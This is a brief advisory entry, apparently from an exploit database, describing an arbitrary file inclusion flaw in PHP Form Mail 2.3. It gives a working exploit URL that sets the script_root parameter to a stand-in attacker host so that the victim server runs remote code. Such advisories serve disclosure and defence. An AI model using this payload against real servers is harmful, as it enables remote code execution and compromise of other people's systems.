PHP Form Mail 2.3 Arbitrary File Inclusion
2005-03-05 00:00:00Example:
if register_globals=on and allow_url_fopen=on:
http://[victim]/[dir]/inc/formmail.inc.php?script_root=http://[hacker_box]/
#
Fixes
No fixesIn order to submit a new fix you need to be registered.